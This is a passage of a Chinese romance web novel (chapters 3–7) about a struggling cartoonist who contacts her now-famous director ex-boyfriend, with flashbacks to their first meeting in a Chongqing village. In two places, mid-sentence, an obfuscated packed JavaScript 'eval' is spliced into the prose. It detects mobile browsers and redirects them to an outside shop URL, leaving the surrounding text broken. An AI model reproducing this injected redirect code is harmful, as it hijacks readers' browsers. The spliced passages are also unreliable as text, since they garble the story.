分手这么久,分得还不体面,如今前任成了顶流,再突然给人发消息,不是贱么? 可她好穷。 合雨悠一阵迷茫。 她已经很多很多年,没有伸手问父母要过钱了。 她已经长成大人了,她认为大人是不能问年迈的父母要钱花的。这有损自尊。 就在这时,杨律师突然发了个信息过来,问她要一些证据。 合雨悠检查了一遍,回复:“我得找找,有些在旧手机里,可能要晚上回家才能找到。” “好的,不急。” 她退出聊天,忽然想起——那些东西或许还在旧网盘里。 她一目十目地翻着文件夹,这些年她换手机,偶尔登录网盘就会想起来备份,通话记录、短信、联系人,像一本厚重的日记,记录着每一个快意或失意的瞬间。 她快速地截图,和姚昕的邮件往来,会议记录,样片确认。手指在触控板上机械地移动着,直到某个照片文件夹的出现,鬼使神差地点开后,加载出来的图片让她倏忽停住。 那是一张前置摄像头的合影。 模糊、偏暖的色调里,她靠在阁楼牛皮沙发上,凌湛懒洋洋地坐在旁边,一手搭在她肩上,一手夹着烟。屏幕光映在他睫毛下,眼神半困半笑。 她记得那天他们在看《广岛之恋》。 凌湛那时候十八岁,身上全是少年人的锋芒和欲望。 类似的照片还有很多很多。 凌湛很爱拍摄和她的所有一切,照片、视频,相爱的细节,床单上的十指相扣,那些画面色调一脉相承,和他近些年晦涩的作品保持高度相似。 整理完证据发给杨律师,好半晌,合雨悠控制不住地输入了那个烂熟于心的号码,指尖在对话框里停留了很久,最后只打出两个字: “在吗?” 她想这个号码,凌湛肯定没有在用了,这人出国都多少年了,最近才回来,电话多半换人了,她的举措是毫无意义、甚至廉价的…… --- 保姆车平稳地行驶在高架上,凌湛懒洋洋地靠在后座,手里攥着平板,一条腿搭在另一条上,深灰色高领毛衣卷到手肘,袖口随意地推至手肘,露出一截骨节分明的小臂,随手画着分镜。 他的经纪人叶铭坐在前排,正在说让他年底再接一部商业片。凌湛连眼神也懒得给:“我不接。” “但你的《青禾一梦》投资已经压了两年了!”叶铭转过身,压低声音,“光靠《星河彼岸》的票房,根本换不来更多投资人的信任。你当导演……大家还不是特别认。” 叶铭说得很委婉。 他的电影人朋友给这种形式取了个戏称:资本主义下的艺术家生存之道。 “我要拍的电影,需要市场认可吗?”凌湛撩起眼皮,瞳仁漆黑。这两年,他收到过不少剧本,但大多粗制滥造,毫无新意。就算偶尔有几个不错的,也总是在他动心后被投资方一次次打回。 他毕业那年导的电影,花了很多心思,整个本科期间都在磨合剧本,最后拍出来,在去年拿了奖,提名了金熊的最佳摄影,但可以说毫无市场可言,上座率几乎为0。 而他当演员接的两部片子,却无一例外大爆,哪怕是小成本制作的《赤夜》。 “我觉得这个本子太艺术了啊,”叶铭坐到了他旁边,苦口婆心,“凌湛啊,你要导戏,没问题,但过于意识流,大众不会买账的,和你以前的电影一样。” 凌湛没抬头,含糊地应了一声,右手小臂压在后颈,冷淡的目光凝在平板上。 手机倏忽震动了一下。 他抬眼一瞥,原本微微绷紧的小臂线条顿了顿。备注很简单,就一个“乖”字。 “在吗?” 两个字就像一颗石子投进平静的湖面。他垂眼看着那行字,指尖在屏幕上方短暂地停顿。 旁边的经纪人看他突然停顿的动作,凑上来一瞧,看见那个备注,整个人大惊失色:“你谈恋爱了????” “以前谈过的。”他随手关掉了短信界面,眼底的情绪被密长睫毛尽数遮掩。 4. 第 4 章 周一的电梯里总是挤得令人窒息。 合雨悠揪着背带裙的肩带,低头攥工牌,试图在这个密不透风的小空间里找到一点喘息的余地。公司群里炸开了锅,什么“帅炸天”“逆天神颜”“妈呀这是谁”一水的感叹号。 “小合你看了吗?”余淼淼捧着手机,贴到她耳边小声惊呼,“新来的商务副总,空降的,这身材我靠……帅死了,撕漫男啊!!” 合雨悠只是沉默地划着群消息。伦敦政经毕业,之前在投行做过VP,后来去了创投……Sol,中文名贺秋阳……她机械性地扫过这些履历,却在那个名字上猛地大惊失色。 “你看,他一米九!”余淼淼还在激情朗诵,“刘姐偷拍的照片你看到没?光个背影,我的心脏就自燃了。” 合雨悠不由自主地点开照片——贺秋阳站在会议室里,宽肩窄腰,剪裁考究的西装衬得身材格外挺拔。他微微侧着身,脖颈上隐约露出一截纹身,黑线蜿蜒,透着一股野性的张扬。光这个背影,就足以让整个办公室的气氛为之一震。 “卧槽。” “这是新来的副总??” “商务副总??!胸肌练这么大?!” “那我不辞职了,姐不辞了!!男妈妈。。。我996应得的福报……” 群里沸腾。余淼淼捂着心口:“这简直是人形通货膨胀。上次那某男明星来扫楼宣传,肩窄得能卡纸缝,我第一次觉得垫肩是21世纪最伟大发明!!” 电梯“叮”地一声停在27层。合雨悠僵了一下,抬脚刚要迈出去,正对上一双熟悉的单眼皮。 贺秋阳。 他站在电梯门口,控场模式开启,霎地鸦雀无声。 而后电梯里众人高高低低的声音喊英文名:“Sol总早上好……” 贺秋阳转过头来,目光在合雨悠脸上短暂地停留了一瞬,像有些意外,转而移开。 合雨悠也看他几眼,随即低着头走出电梯,裙角擦过他的西裤。 双方都心照不宣地没有打招呼。 七年,他身上的烟草味道一点没变,只是混入了一丝若有似无的古龙水气息。 刚在工位上坐下,微信语音电话就弹了出来。 合雨悠盯着那个头像看了两秒,走到角落里接了。 “雨悠,好久不见,你怎么在这儿。”他的嗓音很淡,带着那种习惯性克制。 合雨悠往外瞥了一眼,看到路过的女同事们正往茶水间张望。 她压低声音:“我在这里上班……现在不方便,等下班再说吧。” “嗯。”他简短应了一声,给她发了条微信,“晚上请你吃饭。” 新开的意大利餐厅藏在CBD一条僻静的巷子里,灯光柔和得像奶泡。 贺秋阳先到。白衬衫,挺括西装外套搭在椅背上,锁骨若隐若现,手腕露出黑线纹身。那一幕,仿佛什么杂志大片的封面。 他抬头,语气平静:“加班到现在?” “勉强吧,老板把我们当奴隶使。下辈子谁当设计师谁是狗。”她在对面坐下,猛猛灌了一口水,根本不讲究形象。 贺秋阳递过菜单,声音平静无波:“哪个老板?最上面那个吗,那我让他改改。” 她一愣,像没反应过来:“……你什么意思?” “我舅。”他随口说,“远辰老板姓唐,我妈也姓唐。” 合雨悠鼓了鼓脸,沉默两秒:“……你家基因真会拼。娱乐圈霸总还不够,还得开公司霸占我职场生存区?” 贺秋阳真是好命,老爸贺峰是名导,多年不拍电影,一出山拍了一部,铺天盖地的宣传。他舅居然还是国内知名大厂远辰娱乐的老板…… 真·含着金勺子投胎的男人。 “《星河彼岸》看了吗?”沉默片刻,他忽然问,“凌湛的。” 合雨悠搅动着咖啡:“……没看。” “远辰想请他来做节目。”贺秋阳盯着她的表情,“你能联系到他吗?” “让你爸给他打电话吧,”她摇头,“我们真没联系了。” “他还不知道真相么?”贺秋阳的眼眸落在她没化妆素净又白皙的脸上。 合雨悠一怔:“什么?” “那天的事。”他的目光落在咖啡杯上,“你演了一出戏,让他误会我抢走了你。” 合雨悠慢慢低下头:“贺哥,那天的事我对不起你……” “不用道歉。毕竟你求我配合。反正我和他关系一直那样。”他摇头道,脖颈上的漆黑纹身在灯光下若隐若现,“你的做法算成全凌湛,你不主动分,他不会去USC读书,哪有他今天。” 合雨悠:“和我没什么关系吧……是金子总会发光的,如果他当时留在北京读导演,说不定发展机会更好。拍电影的审美也不至于这样被欧美市场带跑偏吧?” 贺秋阳不置可否。 这些年贺秋阳不发朋友圈,不晒感情生活,活在合雨悠的联系人列表像个死人。而贺秋阳他爸贺峰,有三年也不住在橘浦村,去拍新电影了,贺叔那座山顶的建筑空着,他托合雨悠妈妈打理,一年给不菲的保养费。 贺叔待他们一家像亲人,常说合雨悠妈妈质朴又厚道,是老天安排来帮他的。 贺叔不在,贺秋阳也不可能平白无故来橘浦村,所以两人已经失联了七八年。 “走吧,”饭后,贺秋阳结了账,看她要拿卡,拦住,“免了,你知道的,我从来不跟人A。” 合雨悠心里一阵感动——主要是因为穷。 “谢谢老板请客。”她低声。 “不谢。”贺秋阳侧首打量她,脸瘦了,该多吃点的。 地下停车场里,一辆黑色大G停靠在角落。贺秋阳单手摁下钥匙,车灯闪了两下。 车门升起,内饰上的碳纤维在灯光下泛着冷光。贺秋阳坐进驾驶座,随手扯松了领带:“住哪儿?” “江浦路那边,”合雨悠说。 发动机轰鸣了一声。 “房子是租的?买的?”他放了个音乐,把音量调小。 “买的。”她说。 “自己买的?”贺秋阳侧头,“我爸说你现在在画漫画,混得很不错,又怎么来远辰当实习生。” 上班那会儿,他找HR调了下她的资料,知道她刚来远辰两个月,还在实习。 “社交细胞都死光了。出来复活一下。”合雨悠平稳地解释,“社会性缺失,顺便找点灵感,交点朋友。” 贺秋阳顿了顿,目光不经意落在她脸上问:“找男朋友?” “……算是吧。” 贺秋阳:“还是喜欢长得好看的?” 合雨悠道:“谁不喜欢美色?不过你也知道,我们公司帅哥库存告急。” 贺秋阳一笑:“那估计不会有比你前男友帅的了。” ……谁说不是呢。 合雨悠瞥向他:“你啊,你不比他帅?” 贺秋阳看向她:“真这么想?” 合雨悠想起同事群里那些污言秽语,说这遮住脸和美队有什么区别,不知道裤腰带下面是否一样大,便忍不住瞥向他的衬衫纽扣。 这胸肌练真好……变化挺大的,以前好像也不这样啊…… 贺秋阳:“你看什么?” 合雨悠马上回神:“那你有认识别的帅哥,记得介绍给我啊!” 贺秋阳顿了顿,说:“一定。” 十几分钟后,车停在楼下,合雨悠下车:“贺哥,你不用送我,我自己上去就好了。” “行,注意安全。”贺秋阳看着她的侧脸,若有所思。记忆里那个总是笑着的小太阳不见了,眼前的小盒子安静了太多,看起来有很重的心事。 她没说,他也没问。 贺秋阳开车走了,合雨悠也上楼,她打开夜灯,画了几笔有点烦躁,索性拿了一包黏土出来揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624774|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴。 然后把贺秋阳的胸肌揉了出来。 再调整一下,变成了电影里凌湛的形状。 她比较着,感觉凌湛的好像没那么大。 嗯。 --- 凌湛靠在放映室的皮椅里,修长的手指落在剧本边缘摩挲。 幕布上的画面在他眼底投下跃动的光影,他专注地看着分镜,时不时在平板上勾画几笔。 手机震了震,是工作群的消息。他随手屏蔽,却被叶铭拦住了。 “那个,”叶铭犹豫着开口,“你高中谈过恋爱吗?” 凌湛的手指顿了顿,抬眼看他:“怎么?谁高中没谈过?我长得像母胎Solo?” 看不起谁? “就是……”叶铭搓了搓手,“之前你手机里备注的那个,那个‘乖’,她是不是你高中同学?” 他眼神微凉:“你怎么知道。” “我就知道!”叶铭一拍大腿,“你看看这个,一网红在直播,说和你高中谈过恋爱,说你特别高冷,但私底下可大方了,经常送她奢侈品” 凌湛蹙眉。他的确给合雨悠买过很多东西,但以她的性格,绝不会在网上直播这种事。 “给我看看。” 叶铭赶紧调出直播回放。一张精致的网红脸出现在屏幕上,正眉飞色舞地讲述着所谓的“恋爱细节”。 “两百多万粉丝呢,”叶铭说,“要真是你前任,赶紧联系上,该封口的封口。可别捅大娄子了哥们。” 凌湛看着那张脸,仔细辨认了几秒钟,眼神愈发冷淡。 差太多了。 就是合雨悠再怎么整容,也不可能是这张脸。 “不认识。”他低下头,目光落在手机上。 一周了。 那个熟悉的号码,就只发来一句“在吗”。 凌湛盯着屏幕,指尖在键盘上停留了很久。他打了几行字,又一一删去。 他正审视着屏幕,门突然被推开。 他父亲凌飞大步走进来,脸色阴沉。身后的助理赶紧带上门,把其他工作人员都遣了出去。 “那天晚上她来找过你。”凌飞的声音里压着怒气。 凌湛连头都没抬,手指在屏幕上滑动:“嗯。” “然后呢?” “让她滚了。” “就这样?你又骂她了?”凌飞冷冷盯着他,嗓音略带不稳,“凌湛,她从你这里出去,一个人去酒吧喝闷酒,开车的时候血液里酒精含量超标。你知道她为什么喝酒吗?” 凌湛终于抬眼:“您是想说,这都是我的错?她成年人,不知道酒驾犯法吗?” “她是你妹妹!”父亲几乎是吼出来的。 “妹妹?”凌湛嘴角泛起冷笑,“您和高阿姨还没结婚呢,怎么算的?按血缘还是按八卦?” “你……”父亲气得发抖,“这么多年了,你就这么恨我们?我和你高阿姨,没做什么对不起你的事!” 凌湛把手机放在一边,手指不经意地一碰屏幕,误触了某个键,抬首时目光冷得结冰:“别激动,我只是觉得没必要,向叔可能比较恨你们吧,毕竟被老婆绿了,被好兄弟背叛。”顿了顿,他补充道:“我有事要忙,您慢走。” --- 深夜,合雨悠坐在画板前,第三次删掉刚画的分镜。 连续几天,她都对自己的作品不满意。连自己都打动不了的东西,更别提打动别人了,画出来也是无用功。 她长叹,趴在桌上轻轻撞了下脑袋:“一年了,怎么我还是没有好灵感……” 戴着伊丽莎白圈的“抱抱”在猫窝里轻轻地“喵”了一声,似乎在安慰她。 这时,搁在一旁的手机屏幕亮了,合雨悠抬起头来,看见是个没有备注的、陌生但熟悉的号码。 她怔愣地盯着那条消息,心脏不期然停止搏动—— “找我复合?” 5. 第 5 章 上午,远辰园区写字楼的空气里飘着一种“PPT在燃烧”的焦香味。 合雨悠端坐如钉,眼神对着屏幕放空。那张海报她已经来回翻烙十几遍,层次感摊成千层饼,组长却依旧拿着放大镜说不够。 “吃瓜了吗?”余淼淼突然探过头来,手机屏幕怼到她眼前,“热搜炸了,凌湛被爆恋情!” “啊??”她下意识地抬头,脸在她自己都没反应过来时就僵硬了。 最近凌湛可谓是红极一时,电影咖、演技派、票房密码,标签贴得密密麻麻,热搜常驻,风头劲到其他顶流只能给他提鞋。 “我给你找找,”余淼淼兴奋地划着手机,“之前有个叫“软软兔子糖”的网红你知道吗?她说和凌湛高中谈过恋爱,后来他们高中同学跳出来认领了,说真名叫阮乐晗,还是校花。就这个,你看,我还关注了。” 合雨悠盯着屏幕上那张精致的脸,脑子短路三连:谁?啥?真有这码事? 她依稀记得阮乐晗,五十七中的校花,风云人物,和凌湛同不同班她不知道……合雨悠和凌湛都不在一个学校,所以对方和凌湛谈过恋爱与否,或者暧昧过没有,她都不清楚。 不过应该没有吧…… 可凌湛很会爱人,说他没有,难道跟自己是初恋? 合雨悠搞不清楚。 她和凌湛是高二升高三那年暑假认识的,谈恋爱是次年初。在此之前,凌湛的恋爱史就不得而知了。 凌湛没说过,她也没问过,总是抱着一种“大帅哥肯定不缺女朋友”的想法,一面沉入热恋一面患得患失。 “不过凌湛方已经否认了,”余淼淼继续翻手机,“还挺干脆的,就说‘校友,不熟,没谈过’。” 合雨悠没心情关注,管他真假。 她低头继续改方案,拖动着字体大小,指尖却微微发紧。手机里那条“找我复合?”的信息仿佛烫手山芋,她还没想好该怎么回复。 其实她根本没想过……凌湛会那么记得她,时隔了这么多年,在自己那样决绝和他提分手后…… 他这些年……怎么过的,就拍电影么? 她不知道。 中午,同事们都出去吃饭了,合雨悠从包里拿出一根煮玉米。 “你减肥啊?”余淼淼端着外卖盒子回来,“吃个玉米就够了?” “嗯。”她含糊一声,低头啃玉米,牙口非常节俭。 其实是因为早上带“抱抱”去复查,又交了笔药费,她没用便宜药,全用最好的。 合雨悠低下头,将最后一口玉米咽下。打开二手车APP,看自己那辆几乎没开过的甲壳虫的估价。 一旁,传来同事的声音。 “大家喝什么咖啡?我看星巴克今天有活动。” “我要香草拿铁。”一同事说,“加料两块钱也太贵了吧。” “你双倍浓缩就不觉得贵了,”余淼淼划着菜单,“小合,你呢?” 合雨悠摇摇头:“我就喝水,喝咖啡睡不着。”她拿着保温杯去接水。 她一离开,办公室里立刻八卦了起来。 “你们说小合是不是家里出事了?” “咋看出来的?” “她以前吃饭都是五百块日料自由,金枪鱼海胆堆成小山。近两周就玉米、红薯,自带《山海经》风味套餐。” “而且我还看见她点拼好饭了……天啊,她不怕东方明珠激光给她照秃顶吗?” “是啊,之前都穿大牌,低调但一看就不便宜。现在……衣服倒是看不出变化,就是气场变了,之前多开朗啊!” “我跟你们说我关注了她闲鱼的,我看见还在卖包和手办呢……” “卧槽真的假的?连手办都卖??那是真没钱了!” 见合雨悠从茶水间出来,世界恢复职场哑剧。 加班完最后一版海报已经是晚上八点。 回到家是九点。她窝在沙发上继续画画。 不停地画,再擦掉,再重新起稿,擦掉…… 她越来越烦。 一旁桌上,手机突然震动。那条号码熟悉到心跳先开机,大脑皮层血液凝固,反应过来之前就下意识划了接起。 “喂……?”她的声音有些发紧。 那头沉默了好几秒。 “短信为什么不回?”熟悉的低音炮,透着不耐,对她没有任何称呼。 “我……”合雨悠握紧手机,却不知从何说起。 她大脑有点空白了。 鼻头也有点泛酸。 凌湛的声音还是非常轻易地就能搅动她的情绪。 “我什么?”他的声音里没情绪,“说不出话?” “我、我想……”,合雨悠喉咙里那句“我听说你要拍新电影了,剧组缺不缺设计师”卡在嘴里,死活吐不出来。 凌湛听着她欲言又止的语气,就知道大概是要说想他吧。他冷笑:“合雨悠,你找人复合,起码要有点诚意。” 合雨悠张嘴:“我没……” 自己不就给他发了个“在吗”么。 一来她没想复合……好吧,也不是没想。 向悦变成植物人了……她终于敢给他发消息了。 天知道她冒着多大的风险。 可他们间有太多的话不知从何说起。也有太多的隐患埋在深处。 “就这么点话都说不明白?”熟悉的声线比记忆里更冷,更不耐,“七年不联系,发个''在吗''就够了?” “抱歉……”她讷讷地道,那不然能咋,不寒暄下直接要工作机会吗,这多冒昧。 “道歉免了。”他打断她,语气冷淡,“没重要的事,以后别联系了。” “啊等… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624775|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”电话挂了。她还没来得及说出要他帮忙给她找点活干的事。 犹豫片刻,合雨悠打开微信。 在黑名单里,那个熟悉的头像依然静静躺在那里。 她点击“解除黑名单”,准备重新发送好友申请,却忽然发现自己仍能看到他的朋友圈。 她怔愣片刻。 这说明,七年里,是她把他关在门外,而他始终没删她。两人像隔着一堵透明墙:看得见彼此影子,却谁都不开灯。 合雨悠大脑保持那一片空白和震动,小心翼翼,不敢给他发任何消息,点开他的主页,而后手指轻颤地点进朋友圈。 这些年里凌湛的动态并不多。 片场、分镜、放映节,三言两语。 没有太多私人生活的痕迹,一如既往的克制。 七年前,他在南加大电影学院读书时期的一部短片,获得了纽约地下电影节最佳短片奖。那时候的凌湛还带着学生气,眉目飞扬,照片里穿着简单的宽松黑T恤,露出锁骨,肩宽腿长,捧着奖杯的样子随性自由。 再往后,《赤夜》的剧照,那部小成本惊艳到影评人尖叫的B级片。角色出圈爆火,获得了洛杉矶奇幻电影节最佳新人演员。 翌年,他毕业导了部戏,去年拿了一个不知道什么野鸡的听都没听过的新锐导演奖。领奖台他都没亲自去。 甚至提名了金熊最佳摄影。 不过电影数据还是很扑街。 再后来……她的手指在《星河彼岸》的海报前停住。凌湛饰演的物理学家站在星空下,目光深邃如渊。她每天都在刷票房数据,看着这部电影在中国市场和北美一路飙升。 手指在对话框里悬了又悬。 她想说什么?祝贺他?问候他?一切一切都显得生疏而遥远。 合雨悠打了几个字又删掉,反反复复,却迟迟按不下发送键。 卧室里。 凌湛刚洗完澡,靠在沙发上。水珠顺着深凹的脊柱线缓缓滑落,滚过精窄的腰线。黑色短裤松松地挂在胯骨上,露出利落的人鱼线。他仰起头喝水,喉结轻轻滚动,锁骨沾着水汽。 随即凌湛摸出手机,在通讯录里划了几下。 以前合雨悠是他的置顶,分手后就不是了。有段时间,他给她发消息,总是显示:【由于对方的设置,你的消息发送失败。】 新手机里空荡荡的,什么都没有。 凌湛单手压在后颈窝,平静地审视着聊天页面。 屏幕上方,出现了一行不可思议的变化。 【正在输入中……】 他的指尖在后颈收紧了一分。 点进她的朋友圈,三天可见。 虽然什么都没有,但他能看见了。 凌湛的目光停在那个还在跳动的输入框上。屏幕的亮光映在漆黑眼底,晦暗不明。 6. 第 6 章 合雨悠对着微信输入框,手指在键盘上悬了又悬。 她脑子里千军万马:有解释的、有道歉的、有寒暄的,想了很多话,但在发送前都被删掉。她不知道该拿什么语气和他说话。 挺狼狈的。 原来爱是周而复始的。 灯光黯淡的房间,凌湛丢开手机,半边脸隐在阴影里,手指摸到烟盒,却没点火。烟在唇间打了个转,塞回盒里。 七年没联系,这丫头深夜突然冒出来,他猜不透她到底想说什么。 “有事说事。”他简短地发过去。 1 合雨悠吓了一跳,盯着他的新消息,像做梦一样,怎么会守株待兔一样刚巧……! 该不会就是守株待兔吧…… 前任竟然是这么视奸她的? 合雨悠犹豫了下,压制情绪,打字:“你那个电影……” “?” 最烦打问号的男的了。 合雨悠忍耐住了。 “你新电影是不是要拍了……”她试探。 “在筹备,最近开拍。”他回复得简短。 合雨悠在原地思考了几分钟,终于鼓起勇气打字:“请问你们剧组美术组缺不缺设计师,或者概念原画?我都能做,我有大量相关经验,可以把简历发给你邮箱。” “??” 凌湛盯着屏幕,几乎要笑了。 原来不是为了复合,是来求职的? 凌湛知道她一个成功漫画家,应该不太会缺钱。 所以这只是借口,一个重新接近他的理由。 明修栈道暗度陈仓。搞笑。 要邮箱不能直说? 要他新号码不能直接问? “等消息。”他最终只回了这三个字。 “谢谢谢谢,谢谢你啊。” 合雨悠忙着回复,一连三个谢,像在庙门口还愿。 凌湛没回。 等了好久,对面竟然连个晚安都没有,就一句生疏的道谢。 凌湛嘴角无意识牵扯出冰冷笑意,想不通,当初甩人的是她,现在来求复合的也是她,合雨悠你这么高贵,求什么复合。别求了,他这辈子都不会和她复合的。 可那点情绪又渐渐散开,化成一种细微的钝痛。 七年前,网吧包间里,她总会在一旁学习,困得睁不开眼还非要等他,问他片子剪得怎么样了,凌湛明明没完,还是会把她送到楼下,他们在小区隐秘的角落里沉醉地接吻,热烈、笨拙、毫无章法。躲避着邻居和亲戚。 烟雾在昏暗的房间里氤氲开,凌湛随手将烟摁灭。修长如玉的手指在键盘上停顿片刻,犹豫了一会儿,还是输入了那串密码。 硬盘里的加密文件夹在桌面上展开,文件名显示着【2016/Summer】。 屏幕上一帧帧旧影像闪烁,翻开的胶片在时间的指缝里漏光。 那些画面还在,贺叔在橘浦村山上的半山别墅里,和她一起在阁楼放映室看《杀人回忆》,他们看黑泽明和特吕弗,看《德国零年》和《婚姻故事》。她不爱看所以会打瞌睡,会趴在他腿上,睫毛垂在睡得泛红得柔软脸颊上。 合雨悠穿着他的衣服睡在他房间的沙发上,盘腿坐在他旁边画分镜和速写……他探头一看,又是什么人外触手,寄生兽或者裂口女…… 总画这些莫名其妙画面还有点恶心的东西。 这是他和合雨悠相处的点点滴滴,2016年,夏天。 距离重庆市区五个小时车程的万州银溪镇、橘浦村。 这里接壤湖北利川,靠近长江。 彼时是凌湛高二那年的暑假,七月流火,父亲凌飞出国参加建筑家交流会,他背着包带着作品,坐了五六个小时的大巴过来找贺叔。 贺叔是湖北人,在大师指点下,建了一栋乡间别墅建在橘浦村半山,选址掩在一片鲜艳的橘子林后。 建筑外立面采用了粗犷的裸露水泥,冷灰的水泥墙体像波浪般起伏绵延,是凌飞最得意的作品之一,落地那年就上过建筑杂志,不过鲜少有人知道主人是他。落地窗从一楼延伸到三楼,玻璃映着云影波光,连廊和露台散落在不同的高度,仿佛悬浮在空中的漆黑琴键。 贺峰靠在低背皮椅上审他的片子。 贺峰适才刚从戛纳回来,新片《红棉》又拿了一个得意的奖。房子两面都是落地窗,一侧朝向长江,另一侧面向开阔的稻田和山间溪流,光斑洒在地板上。 凌湛坐在一旁,指节微微发紧,仔细盯着自己来之前、不管怎么样都觉得满意的片子,和贺峰谈不上表情的表情。 “整体的构架很扎实。”贺峰一只手抖着烟灰,表情不掀波澜,“凌湛,你的声画调度很有意思,用人物走位和光影来制造张力。尤其是那个雨夜的长镜头,把人物内心的不安刻画得到位。” “但转场还是有些太刻意了。”他点了点平板,“比如这里,为了衔接上下场戏,强行用了一个推轨。” 凌湛点头,解释:“我是想用镜头运动来暗示人物的……” “我明白你想表达什么。”贺峰笑了笑,“但有时候,‘不做’比‘做’更有力量。” 他调出另一个片段:“这里的调度也很精准,但太完美了。” “完美不好吗?”凌湛下意识问。 “说不上好坏。”贺峰语气平和,“只是少了点混乱。” 实际上也称不上多么完美,是为了追求完美的炫技,有掩盖不住的灵气,同时也充斥了不该有的匠气,这是他学了太多技巧,单纯模仿而缺少自我内核的必要过程。 作为学生作品,肯定不差。 说完,贺峰把平板递给凌湛:“阿湛,去看看《阳光灿烂的日子》,看《牯岭街少年杀人事件》。想想为什么那些导演拍得‘脏’一点,画面却更让人心动。我以前教过你,电影是灵魂的触碰,而不是展示你高超的技巧。你的片子做的像宫殿,太干净了。得去尘,得出汗。” 凌湛沉默地握着平板,想说他其实都看过,不止一遍,他能把每个分镜倒背如流。而且技巧他有的是。 贺峰拍了拍他肩膀,关怀道:“你年轻又优秀。但记住,有时候完美的反面,不是糟糕,而是生动。” “生动……”凌湛有些琢磨不透。 简单的词汇在此时却难以理解。 他拍的难道不生动吗? 是他拿着摄影机 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窗外的蝉鸣此起彼伏,远处农田边是戴着草帽的农民,热浪一波一波涌进来。 “看,他们就很有温度。”贺峰指着楼下,说,“电影本质上是情感的传递。” 透过窗户,凌湛看见一辆鲜红的电动三轮车停在院子里。十几岁的女孩从车上轻巧地跳下来,锁骨发随意地扎起,露出一截白皙的后颈。她仰起脸,汗水在皮肤上折射出晶莹的光,像被太阳亲吻过一般,散发着金黄的橘子般的响起。 “贺叔!早上好啊!!我和妈妈来送菜了!”她的声音清脆地穿过夏日的燥热,仰头朝他们招手。 凌湛的目光凝固在她身上几秒。 “哎!马上下来。”贺峰对楼下说。 “这一家人啊,”贺峰的声音忽然温和下来,手里的烟缓缓燃着,“我心里烦闷的时候看见他们,就觉得这世界上还是有值得珍惜的东西。” 他看向窗外,目光落在那对忙碌的母女身上。女人干练地地从车斗里取出新鲜蔬菜,而女儿则弯腰帮忙搬运。 “你看那个萝卜,露出的泥土还是新鲜的。菜心上的水珠还在滚动,还有毛毛虫。这就是生活最本真的样子。”贺峰轻声说,“电影拍来拍去,不就是为了记录这些转瞬即逝的温暖吗?” 他似乎想起什么笑道:“记得去年春节我生病了,一个人住这儿。大年三十,这丫头跟她妈妈骑着电三轮,顶着雪把我送去医院。一路上就跟个小太阳似的,一会儿给我讲笑话,一会儿给我倒热水。” 凌湛干巴巴地说:“年纪不大,挺会巴结人的。” 贺峰扶额:“……你真是,”他摇头,“这一家人都很质朴,我接触那么多人,很少有这种感受,虚情假意我还分不清吗?我这么多年,拍了那么多片子,努力拼凑生活的意义。可有时候在他们家吃顿便饭,听他们说说家长里短,反倒让我觉得,这才是我想表达的东西。” 烟灰抖落。贺峰的目光有些悠远:“凌湛,明白我说的温度是什么了吗?” 凌湛没出声。 他觉得贺叔的意思是……找个朴实的姑娘谈恋爱? 7. 第 7 章 “那是小盒子,我们喊幺妹儿。那是她妈妈,我们喊邱姐。”贺峰一边下楼一边介绍,声音里带着几分温和,“本地人,种大棚蔬菜。我这儿的果子、菜,都是从他们家来的。给我送了两三年了,特别朴实的一家人。” 贺峰一口一个朴实。凌湛还以为在看水浒传。 凌湛跟在他后面,面无表情地打量着楼下那个叫“小盒子”女孩。她正帮母亲搬着一箱西红柿,动作利落,步伐轻快。阳光从树叶的缝隙里漏下来,在她白皙的脸上跳跃。 他收回目光,又多看了一眼。目光相接时,女孩眼中闪过一丝熟悉的神色,惊艳中带着羞怯,好像非常意外,他见过太多次这样的眼神。 她没有打招呼,阳光落在她圆润的脸庞上,那双黑白分明的杏眼像两汪清泉,短袖后背微湿,皮肤白得几乎能反光。 凌湛不再看,拿出耳机戴上靠在黑色沙发上。余光扫到那对母女搬着菜框往厨房里送,整理好放冰箱。 随即他起身走到外面,低头看着三轮车里还没搬完的菜叶,和残余的泥土。 他伸手拨了一下。 合雨悠站在厨房,透过窗户往外瞧,看见他的动作,忽然紧张,该不会是菜有什么问题吧? 那可不能! 她擦了下手,连忙跑出去,犹豫了下问道:“菜怎么了吗?”眼神却很不听话,在他下颌线和白菜之间左右横跳。 凌湛闻言没抬头,声音没有温度:“菜里没有毛毛虫吗?” 合雨悠睁大眼睛:“怎么会有毛毛虫!菜都是我和我妈妈亲手摘的,都是挑选后才带过来的,叶子上连洞都没有,都是最好的!我们大棚的蔬菜拿过一等奖的。” 菜也能拿奖? “哦。”他他淡淡一声,连眼皮都懒得抬,耳机一塞,转身离开 擦肩而过一瞬,合雨悠下意识仰头—— 好高啊…… 凌湛坐回沙发上。 他专注地思考贺叔说的“温度”问题。 贺叔说的是什么意思。为什么说他们一家有温度,卖菜的有什么不一样吗,朴实?那朴实的人多了去了。翻开《水浒传》一大堆。 凌湛眼神穿过厨房的顶窗,那女生不高,几乎看不见头顶。 他叛逆地认为,恐怕是围城罢了,贺叔从小锦衣玉食,最爱“下地拍片”,乡土题材是他的舒适圈也是获奖密码,见着摆三轮的就觉亲,像皇帝微服私访看路边摊炖菜香。 他又低头琢磨自己片子哪儿卡壳,越看越不顺眼,最后烦躁到庭院里点了根烟。 